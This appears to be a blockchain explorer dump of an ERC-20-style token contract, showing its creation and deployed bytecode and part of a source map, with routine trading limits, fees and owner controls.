e636500000060448201526064016106e1565b610a8084848484036108e8565b50505050565b6001600160a01b038316610aac5760405162461bcd60e51b81526004016106e190611549565b6001600160a01b038216610ad25760405162461bcd60e51b81526004016106e19061158e565b80600003610aeb57610ae68383600061111a565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b2d57506001600160a01b03831660009081526015602052604090205460ff16155b9050610b416005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b7057506005546001600160a01b03848116911614155b8015610b8457506001600160a01b03831615155b8015610b9b57506001600160a01b03831661dead14155b8015610bb15750600854600160a01b900460ff16155b15610e965760105460ff16610c44576001600160a01b03841660009081526013602052604090205460ff1680610bff57506001600160a01b03831660009081526013602052604090205460ff165b610c445760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106e1565b6001600160a01b03841660009081526015602052604090205460ff168015610c8557506001600160a01b03831660009081526014602052604090205460ff16155b15610d5f57600d54821115610cf05760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106e1565b600e546001600160a01b038416600090815260208190526040902054610d169084611536565b1115610d5a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106e1565b610e96565b6001600160a01b03831660009081526015602052604090205460ff168015610da057506001600160a01b03841660009081526014602052604090205460ff16155b15610e0c57600d54821115610d5a5760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b60648201526084016106e1565b6001600160a01b03831660009081526014602052604090205460ff16610e9657600e546001600160a01b038416600090815260208190526040902054610e529084611536565b1115610e965760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106e1565b306000908152602081905260409020548115808015610ebf5750600854600160a01b900460ff16155b8015610ee457506001600160a01b03861660009081526015602052604090205460ff16155b8015610f0957506001600160a01b03861660009081526013602052604090205460ff16155b8015610f2e57506001600160a01b03851660009081526013602052604090205460ff16155b15610f66576008805460ff60a01b1916600160a01b179055610f4f84611244565b610f5847611333565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610f81575083155b6001600160a01b03881660009081526013602052604090205490915060ff1680610fc357506001600160a01b03861660009081526013602052604090205460ff165b15610fcc575060005b60008115611059576001600160a01b03871660009081526015602052604090205460ff161561101c57611015606461100f6012548961136d90919063ffffffff16565b90611380565b9050611039565b611036606461100f6011548961136d90919063ffffffff16565b90505b801561104c5761104c8861dead8361111a565b61105681876115d1565b95505b61106488888861111a565b5050505050505050565b6005546001600160a01b031633146107285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106e1565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111405760405162461bcd60e51b81526004016106e190611549565b6001600160a01b0382166111665760405162461bcd60e51b81526004016106e19061158e565b6001600160a01b038316600090815260208190526040902054818110156111de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106e1565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610a80565b306000908152602081905260408120549081810361126157505050565b6012546011546112719190611536565b6000036112d1576000821180156112895750600f5482105b1561129357505050565b60006112af606461100f6012548761136d90919063ffffffff16565b90506112bb81856115d1565b9350600f54841115610a8057600f549150610a80565b6000821180156112ed5750600f546112ea906005611380565b82105b156112f757505050565b6000821180156113135750600f54611310906005611380565b82115b80156113205750600f5482105b1561129357600f54610a80906005611380565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610712573d6000803e3d6000fd5b600061137982846115e4565b9392505050565b600061137982846115fb565b600060208083528351808285015260005b818110156113b95785810183015185820160400152820161139d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146113f157600080fd5b919050565b6000806040838503121561140957600080fd5b611412836113da565b946020939093013593505050565b60008060006060848603121561143557600080fd5b61143e846113da565b925061144c602085016113da565b9150604084013590509250925092565b6000806040838503121561146f57600080fd5b611478836113da565b91506020830135801515811461148d57600080fd5b809150509250929050565b6000602082840312156114aa57600080fd5b611379826113da565b600080604083850312156114c657600080fd5b6114cf836113da565b91506114dd602084016113da565b90509250929050565b600181811c908216806114fa57607f821691505b60208210810361151a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561062157610621611520565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561062157610621611520565b808202811582820484141761062157610621611520565b60008261161857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e48c7d0537a8be323e9ffe8473a84598ad78fb1f042f0a90a5da6dbe46eb060564736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c8063715018a6116100f757806395d89b4111610095578063dd62ed3e11610064578063dd62ed3e1461050b578063dfcde7641461052b578063e2f4560514610545578063f2fde38b1461055b57600080fd5b806395d89b41146104a1578063a457c2d7146104b6578063a9059cbb146104d6578063bd8a7322146104f657600080fd5b806389291a8f116100d157806389291a8f146104425780638a50e0e2146104575780638da5cb5b1461046d5780638f3fa8601461048b57600080fd5b8063715018a614610402578063751039fc1461041757806383fd03671461042c57600080fd5b806347bdc57e1161016f578063583e05681161013e578063583e056814610354578063629b05f0146103a05780636d0f930d146103b657806370a08231146103cc57600080fd5b806347bdc57e146102cd5780634cdf3002146102ef5780634f447b86146103055780634fbee1931461031b57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd14610271578063313ce5671461029157806339509351146102ad57600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff919061138c565b60405180910390f35b34801561021457600080fd5b506102286102233660046113f6565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c366004611420565b610627565b34801561029d57600080fd5b50604051600981526020016101ff565b3480156102b957600080fd5b506102286102c83660046113f6565b61064b565b3480156102d957600080fd5b506102ed6102e836600461145c565b61066d565b005b3480156102fb57600080fd5b5061024e600b5481565b34801561031157600080fd5b5061024e600a5481565b34801561032757600080fd5b50610228610336366004611498565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561036057600080fd5b506103887f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace81565b6040516001600160a01b0390911681526020016101ff565b3480156103ac57600080fd5b5061024e60095481565b3480156103c257600080fd5b5061024e600c5481565b3480156103d857600080fd5b5061024e6103e7366004611498565b6001600160a01b031660009081526020819052604090205490565b34801561040e57600080fd5b506102ed610716565b34801561042357600080fd5b506102ed61072a565b34801561043857600080fd5b5061024e60125481565b34801561044e57600080fd5b506102ed610749565b34801561046357600080fd5b5061024e600d5481565b34801561047957600080fd5b506005546001600160a01b0316610388565b34801561049757600080fd5b5061024e600e5481565b3480156104ad57600080fd5b506101f2610798565b3480156104c257600080fd5b506102286104d13660046113f6565b6107a7565b3480156104e257600080fd5b506102286104f13660046113f6565b610822565b34801561050257600080fd5b506102ed610830565b34801561051757600080fd5b5061024e6105263660046114b3565b610847565b34801561053757600080fd5b506010546102289060ff1681565b34801561055157600080fd5b5061024e600f5481565b34801561056757600080fd5b506102ed610576366004611498565b610872565b60606003805461058a906114e6565b80601f01602080910402602001604051908101604052809291908181526020018280546105b6906114e6565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b8185856108e8565b60019150505b92915050565b600033610635858285610a0c565b610640858585610a86565b506001949350505050565b60003361061b81858561065e8383610847565b6106689190611536565b6108e8565b61067561106e565b6006546001600160a01b03908116908316036106ea5760405162461bcd60e51b815260206004820152602960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152685f616d6d506169727360b81b60648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b61071e61106e565b61072860006110c8565b565b61073261106e565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461076957600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610795573d6000803e3d6000fd5b50565b60606004805461058a906114e6565b600033816107b58286610847565b9050838110156108155760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106e1565b61064082868684036108e8565b60003361061b818585610a86565b61083861106e565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61087a61106e565b6001600160a01b0381166108df5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e1565b610795816110c8565b6001600160a01b03831661094a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e1565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a188484610847565b90506000198114610a805781811015610a735760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106e1565b610a8084848484036108e8565b50505050565b6001600160a01b038316610aac5760405162461bcd60e51b81526004016106e190611549565b6001600160a01b038216610ad25760405162461bcd60e51b81526004016106e19061158e565b80600003610aeb57610ae68383600061111a565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b2d57506001600160a01b03831660009081526015602052604090205460ff16155b9050610b416005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b7057506005546001600160a01b03848116911614155b8015610b8457506001600160a01b03831615155b8015610b9b57506001600160a01b03831661dead14155b8015610bb15750600854600160a01b900460ff16155b15610e965760105460ff16610c44576001600160a01b03841660009081526013602052604090205460ff1680610bff57506001600160a01b03831660009081526013602052604090205460ff165b610c445760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106e1565b6001600160a01b03841660009081526015602052604090205460ff168015610c8557506001600160a01b03831660009081526014602052604090205460ff16155b15610d5f57600d54821115610cf05760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106e1565b600e546001600160a01b038416600090815260208190526040902054610d169084611536565b1115610d5a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106e1565b610e96565b6001600160a01b03831660009081526015602052604090205460ff168015610da057506001600160a01b03841660009081526014602052604090205460ff16155b15610e0c57600d54821115610d5a5760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b60648201526084016106e1565b6001600160a01b03831660009081526014602052604090205460ff16610e9657600e546001600160a01b038416600090815260208190526040902054610e529084611536565b1115610e965760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106e1565b306000908152602081905260409020548115808015610ebf5750600854600160a01b900460ff16155b8015610ee457506001600160a01b03861660009081526015602052604090205460ff16155b8015610f0957506001600160a01b03861660009081526013602052604090205460ff16155b8015610f2e57506001600160a01b03851660009081526013602052604090205460ff16155b15610f66576008805460ff60a01b1916600160a01b179055610f4f84611244565b610f5847611333565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610f81575083155b6001600160a01b03881660009081526013602052604090205490915060ff1680610fc357506001600160a01b03861660009081526013602052604090205460ff165b15610fcc575060005b60008115611059576001600160a01b03871660009081526015602052604090205460ff161561101c57611015606461100f6012548961136d90919063ffffffff16565b90611380565b9050611039565b611036606461100f6011548961136d90919063ffffffff16565b90505b801561104c5761104c8861dead8361111a565b61105681876115d1565b95505b61106488888861111a565b5050505050505050565b6005546001600160a01b031633146107285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106e1565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111405760405162461bcd60e51b81526004016106e190611549565b6001600160a01b0382166111665760405162461bcd60e51b81526004016106e19061158e565b6001600160a01b038316600090815260208190526040902054818110156111de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106e1565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610a80565b306000908152602081905260408120549081810361126157505050565b6012546011546112719190611536565b6000036112d1576000821180156112895750600f5482105b1561129357505050565b60006112af606461100f6012548761136d90919063ffffffff16565b90506112bb81856115d1565b9350600f54841115610a8057600f549150610a80565b6000821180156112ed5750600f546112ea906005611380565b82105b156112f757505050565b6000821180156113135750600f54611310906005611380565b82115b80156113205750600f5482105b1561129357600f54610a80906005611380565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610712573d6000803e3d6000fd5b600061137982846115e4565b9392505050565b600061137982846115fb565b600060208083528351808285015260005b818110156113b95785810183015185820160400152820161139d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146113f157600080fd5b919050565b6000806040838503121561140957600080fd5b611412836113da565b946020939093013593505050565b60008060006060848603121561143557600080fd5b61143e846113da565b925061144c602085016113da565b9150604084013590509250925092565b6000806040838503121561146f57600080fd5b611478836113da565b91506020830135801515811461148d57600080fd5b809150509250929050565b6000602082840312156114aa57600080fd5b611379826113da565b600080604083850312156114c657600080fd5b6114cf836113da565b91506114dd602084016113da565b90509250929050565b600181811c908216806114fa57607f821691505b60208210810361151a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561062157610621611520565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561062157610621611520565b808202811582820484141761062157610621611520565b60008261161857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e48c7d0537a8be323e9ffe8473a84598ad78fb1f042f0a90a5da6dbe46eb060564736f6c63430008140033

Deployed Bytecode Sourcemap

14303:7501:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8949:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9880:201;;;;;;;;;;-1:-1:-1;9880:201:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;9880:201:0;1004:187:1;15015:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;15015:26:0;1196:177:1;9269:108:0;;;;;;;;;;-1:-1:-1;9357:12:0;;9269:108;;10089:295;;;;;;;;;;-1:-1:-1;10089:295:0;;;;;:::i;:::-;;:::i;9169:92::-;;;;;;;;;;-1:-1:-1;9169:92:0;;9252:1;1853:36:1;;1841:2;1826:18;9169:92:0;1711:184:1;10392:238:0;;;;;;;;;;-1:-1:-1;10392:238:0;;;;;:::i;:::-;;:::i;17106:210::-;;;;;;;;;;-1:-1:-1;17106:210:0;;;;;:::i;:::-;;:::i;:::-;;14784:35;;;;;;;;;;;;;;;;14746:31;;;;;;;;;;;;;;;;17446:129;;;;;;;;;;-1:-1:-1;17446:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;17536:31:0;17512:4;17536:31;;;:22;:31;;;;;;;;;17446:129;14380:52;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2632:32:1;;;2614:51;;2602:2;2587:18;14380:52:0;2443:228:1;14690:47:0;;;;;;;;;;;;;;;;14826:32;;;;;;;;;;;;;;;;9385:127;;;;;;;;;;-1:-1:-1;9385:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9486:18:0;9459:7;9486:18;;;;;;;;;;;;9385:127;8024:103;;;;;;;;;;;;;:::i;19979:169::-;;;;;;;;;;;;;:::i;15048:27::-;;;;;;;;;;;;;;;;20156:159;;;;;;;;;;;;;:::i;14867:25::-;;;;;;;;;;;;;;;;7789:87;;;;;;;;;;-1:-1:-1;7862:6:0;;-1:-1:-1;;;;;7862:6:0;7789:87;;14899:28;;;;;;;;;;;;;;;;9057:104;;;;;;;;;;;;;:::i;10638:436::-;;;;;;;;;;-1:-1:-1;10638:436:0;;;;;:::i;:::-;;:::i;9520:193::-;;;;;;;;;;-1:-1:-1;9520:193:0;;;;;:::i;:::-;;:::i;16692:71::-;;;;;;;;;;;;;:::i;9721:151::-;;;;;;;;;;-1:-1:-1;9721:151:0;;;;;:::i;:::-;;:::i;14976:30::-;;;;;;;;;;-1:-1:-1;14976:30:0;;;;;;;;14934:33;;;;;;;;;;;;;;;;8135:201;;;;;;;;;;-1:-1:-1;8135:201:0;;;;;:::i;:::-;;:::i;8949:100::-;9003:13;9036:5;9029:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8949:100;:::o;9880:201::-;9963:4;340:10;10019:32;340:10;10035:7;10044:6;10019:8;:32::i;:::-;10069:4;10062:11;;;9880:201;;;;;:::o;10089:295::-;10220:4;340:10;10278:38;10294:4;340:10;10309:6;10278:15;:38::i;:::-;10327:27;10337:4;10343:2;10347:6;10327:9;:27::i;:::-;-1:-1:-1;10372:4:0;;10089:295;-1:-1:-1;;;;10089:295:0:o;10392:238::-;10480:4;340:10;10536:64;340:10;10552:7;10589:10;10561:25;340:10;10552:7;10561:9;:25::i;:::-;:38;;;;:::i;:::-;10536:8;:64::i;17106:210::-;7748:13;:11;:13::i;:::-;17197::::1;::::0;-1:-1:-1;;;;;17197:13:0;;::::1;17189:21:::0;;::::1;::::0;17181:75:::1;;;::::0;-1:-1:-1;;;17181:75:0;;3998:2:1;17181:75:0::1;::::0;::::1;3980:21:1::0;4037:2;4017:18;;;4010:30;4076:34;4056:18;;;4049:62;-1:-1:-1;;;4127:18:1;;;4120:39;4176:19;;17181:75:0::1;;;;;;;;;-1:-1:-1::0;;;;;17407:15:0;;;;;;:9;:15;;;;;:23;;-1:-1:-1;;17407:23:0;;;;;;;17106:210;;:::o;17267:41::-:1;17106:210:::0;;:::o;8024:103::-;7748:13;:11;:13::i;:::-;8089:30:::1;8116:1;8089:18;:30::i;:::-;8024:103::o:0;19979:169::-;7748:13;:11;:13::i;:::-;20046:12:::1;::::0;20033:10:::1;:25:::0;;;20069:13:::1;:28:::0;-1:-1:-1;20108:6:0::1;:10:::0;;;20129:7:::1;:11:::0;19979:169::o;20156:159::-;20225:19;;-1:-1:-1;;;;;20225:19:0;340:10;-1:-1:-1;;;;;20209:35:0;;20201:44;;;;;;20256:51;;20264:10;;20285:21;20256:51;;;;;;;;;20285:21;20264:10;20256:51;;;;;;;;;;;;;;;;;;;;;20156:159::o;9057:104::-;9113:13;9146:7;9139:14;;;;;:::i;10638:436::-;10731:4;340:10;10731:4;10814:25;340:10;10831:7;10814:9;:25::i;:::-;10787:52;;10878:15;10858:16;:35;;10850:85;;;;-1:-1:-1;;;10850:85:0;;4408:2:1;10850:85:0;;;4390:21:1;4447:2;4427:18;;;4420:30;4486:34;4466:18;;;4459:62;-1:-1:-1;;;4537:18:1;;;4530:35;4582:19;;10850:85:0;4206:401:1;10850:85:0;10971:60;10980:5;10987:7;11015:15;10996:16;:34;10971:8;:60::i;9520:193::-;9599:4;340:10;9655:28;340:10;9672:2;9676:6;9655:9;:28::i;16692:71::-;7748:13;:11;:13::i;:::-;16738:10:::1;:17:::0;;-1:-1:-1;;16738:17:0::1;16751:4;16738:17;::::0;;16692:71::o;9721:151::-;-1:-1:-1;;;;;9837:18:0;;;9810:7;9837:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9721:151::o;8135:201::-;7748:13;:11;:13::i;:::-;-1:-1:-1;;;;;8224:22:0;::::1;8216:73;;;::::0;-1:-1:-1;;;8216:73:0;;4814:2:1;8216:73:0::1;::::0;::::1;4796:21:1::0;4853:2;4833:18;;;4826:30;4892:34;4872:18;;;4865:62;-1:-1:-1;;;4943:18:1;;;4936:36;4989:19;;8216:73:0::1;4612:402:1::0;8216:73:0::1;8300:28;8319:8;8300:18;:28::i;13190:380::-:0;-1:-1:-1;;;;;13326:19:0;;13318:68;;;;-1:-1:-1;;;13318:68:0;;5221:2:1;13318:68:0;;;5203:21:1;5260:2;5240:18;;;5233:30;5299:34;5279:18;;;5272:62;-1:-1:-1;;;5350:18:1;;;5343:34;5394:19;;13318:68:0;5019:400:1;13318:68:0;-1:-1:-1;;;;;13405:21:0;;13397:68;;;;-1:-1:-1;;;13397:68:0;;5626:2:1;13397:68:0;;;5608:21:1;5665:2;5645:18;;;5638:30;5704:34;5684:18;;;5677:62;-1:-1:-1;;;5755:18:1;;;5748:32;5797:19;;13397:68:0;5424:398:1;13397:68:0;-1:-1:-1;;;;;13478:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13530:32;;1342:25:1;;;13530:32:0;;1315:18:1;13530:32:0;;;;;;;13190:380;;;:::o;13578:453::-;13713:24;13740:25;13750:5;13757:7;13740:9;:25::i;:::-;13713:52;;-1:-1:-1;;13780:16:0;:37;13776:248;;13862:6;13842:16;:26;;13834:68;;;;-1:-1:-1;;;13834:68:0;;6029:2:1;13834:68:0;;;6011:21:1;6068:2;6048:18;;;6041:30;6107:31;6087:18;;;6080:59;6156:18;;13834:68:0;5827:353:1;13834:68:0;13946:51;13955:5;13962:7;13990:6;13971:16;:25;13946:8;:51::i;:::-;13702:329;13578:453;;;:::o;17583:2389::-;-1:-1:-1;;;;;17683:18:0;;17675:68;;;;-1:-1:-1;;;17675:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17762:16:0;;17754:64;;;;-1:-1:-1;;;17754:64:0;;;;;;;:::i;:::-;17835:6;17845:1;17835:11;17831:93;;17863:28;17879:4;17885:2;17889:1;17863:15;:28::i;:::-;17583:2389;;;:::o;17831:93::-;-1:-1:-1;;;;;17961:15:0;;17942;17961;;;:9;:15;;;;;;;;17960:16;:34;;;;-1:-1:-1;;;;;;17981:13:0;;;;;;:9;:13;;;;;;;;17980:14;17960:34;17942:52;;18027:7;7862:6;;-1:-1:-1;;;;;7862:6:0;;7789:87;18027:7;-1:-1:-1;;;;;18019:15:0;:4;-1:-1:-1;;;;;18019:15:0;;;:32;;;;-1:-1:-1;7862:6:0;;-1:-1:-1;;;;;18038:13:0;;;7862:6;;18038:13;;18019:32;:52;;;;-1:-1:-1;;;;;;18055:16:0;;;;18019:52;:77;;;;-1:-1:-1;;;;;;18075:21:0;;18089:6;18075:21;;18019:77;:88;;;;-1:-1:-1;18101:6:0;;-1:-1:-1;;;18101:6:0;;;;18100:7;18019:88;18015:957;;;18135:10;;;;18130:153;;-1:-1:-1;;;;;18178:28:0;;;;;;:22;:28;;;;;;;;;:58;;-1:-1:-1;;;;;;18210:26:0;;;;;;:22;:26;;;;;;;;18178:58;18170:93;;;;-1:-1:-1;;;18170:93:0;;7197:2:1;18170:93:0;;;7179:21:1;7236:2;7216:18;;;7209:30;-1:-1:-1;;;7255:18:1;;;7248:52;7317:18;;18170:93:0;6995:346:1;18170:93:0;-1:-1:-1;;;;;18307:15:0;;;;;;:9;:15;;;;;;;;:41;;;;-1:-1:-1;;;;;;18327:21:0;;;;;;:17;:21;;;;;;;;18326:22;18307:41;18303:654;;;18409:10;;18399:6;:20;;18391:76;;;;-1:-1:-1;;;18391:76:0;;7548:2:1;18391:76:0;;;7530:21:1;7587:2;7567:18;;;7560:30;7626:34;7606:18;;;7599:62;-1:-1:-1;;;7677:18:1;;;7670:41;7728:19;;18391:76:0;7346:407:1;18391:76:0;18524:13;;-1:-1:-1;;;;;9486:18:0;;9459:7;9486:18;;;;;;;;;;;18498:22;;:6;:22;:::i;:::-;:39;;18490:71;;;;-1:-1:-1;;;18490:71:0;;7960:2:1;18490:71:0;;;7942:21:1;7999:2;7979:18;;;7972:30;-1:-1:-1;;;8018:18:1;;;8011:49;8077:18;;18490:71:0;7758:343:1;18490:71:0;18303:654;;;-1:-1:-1;;;;;18610:13:0;;;;;;:9;:13;;;;;;;;:41;;;;-1:-1:-1;;;;;;18628:23:0;;;;;;:17;:23;;;;;;;;18627:24;18610:41;18606:351;;;18694:10;;18684:6;:20;;18676:77;;;;-1:-1:-1;;;18676:77:0;;8308:2:1;18676:77:0;;;8290:21:1;8347:2;8327:18;;;8320:30;8386:34;8366:18;;;8359:62;-1:-1:-1;;;8437:18:1;;;8430:42;8489:19;;18676:77:0;8106:408:1;18606:351:0;-1:-1:-1;;;;;18820:21:0;;;;;;:17;:21;;;;;;;;18815:142;;18900:13;;-1:-1:-1;;;;;9486:18:0;;9459:7;9486:18;;;;;;;;;;;18874:22;;:6;:22;:::i;:::-;:39;;18866:71;;;;-1:-1:-1;;;18866:71:0;;7960:2:1;18866:71:0;;;7942:21:1;7999:2;7979:18;;;7972:30;-1:-1:-1;;;8018:18:1;;;8011:49;8077:18;;18866:71:0;7758:343:1;18866:71:0;19033:4;18984:28;9486:18;;;;;;;;;;;19096:11;;;19124:18;;;;-1:-1:-1;19136:6:0;;-1:-1:-1;;;19136:6:0;;;;19135:7;19124:18;:38;;;;-1:-1:-1;;;;;;19147:15:0;;;;;;:9;:15;;;;;;;;19146:16;19124:38;:71;;;;-1:-1:-1;;;;;;19167:28:0;;;;;;:22;:28;;;;;;;;19166:29;19124:71;:102;;;;-1:-1:-1;;;;;;19200:26:0;;;;;;:22;:26;;;;;;;;19199:27;19124:102;19120:258;;;19243:6;:13;;-1:-1:-1;;;;19243:13:0;-1:-1:-1;;;19243:13:0;;;19271:16;19280:6;19271:8;:16::i;:::-;19302:35;19315:21;19302:12;:35::i;:::-;19352:6;:14;;-1:-1:-1;;;;19352:14:0;;;19120:258;19406:6;;19390:12;;-1:-1:-1;;;19406:6:0;;;;19405:7;:22;;;;;19417:10;19416:11;19405:22;-1:-1:-1;;;;;19444:28:0;;;;;;:22;:28;;;;;;19390:37;;-1:-1:-1;19444:28:0;;;:58;;-1:-1:-1;;;;;;19476:26:0;;;;;;:22;:26;;;;;;;;19444:58;19440:106;;;-1:-1:-1;19529:5:0;19440:106;19558:12;19591:7;19587:334;;;-1:-1:-1;;;;;19619:13:0;;;;;;:9;:13;;;;;;;;19615:177;;;19660:28;19684:3;19660:19;19671:7;;19660:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;19653:35;;19615:177;;;19749:27;19772:3;19749:18;19760:6;;19749;:10;;:18;;;;:::i;:27::-;19742:34;;19615:177;19808:8;;19804:85;;19833:44;19849:4;19863:6;19872:4;19833:15;:44::i;:::-;19899:14;19909:4;19899:14;;:::i;:::-;;;19587:334;19931:33;19947:4;19953:2;19957:6;19931:15;:33::i;:::-;17662:2310;;;;;17583:2389;;;:::o;7884:132::-;7862:6;;-1:-1:-1;;;;;7862:6:0;340:10;7948:23;7940:68;;;;-1:-1:-1;;;7940:68:0;;8854:2:1;7940:68:0;;;8836:21:1;;;8873:18;;;8866:30;8932:34;8912:18;;;8905:62;8984:18;;7940:68:0;8652:356:1;8344:191:0;8437:6;;;-1:-1:-1;;;;;8454:17:0;;;-1:-1:-1;;;;;;8454:17:0;;;;;;;8487:40;;8437:6;;;8454:17;8437:6;;8487:40;;8418:16;;8487:40;8407:128;8344:191;:::o;11082:675::-;-1:-1:-1;;;;;11213:18:0;;11205:68;;;;-1:-1:-1;;;11205:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11292:16:0;;11284:64;;;;-1:-1:-1;;;11284:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11434:15:0;;11412:19;11434:15;;;;;;;;;;;11468:21;;;;11460:72;;;;-1:-1:-1;;;11460:72:0;;9215:2:1;11460:72:0;;;9197:21:1;9254:2;9234:18;;;9227:30;9293:34;9273:18;;;9266:62;-1:-1:-1;;;9344:18:1;;;9337:36;9390:19;;11460:72:0;9013:402:1;11460:72:0;-1:-1:-1;;;;;11568:15:0;;;:9;:15;;;;;;;;;;;11586: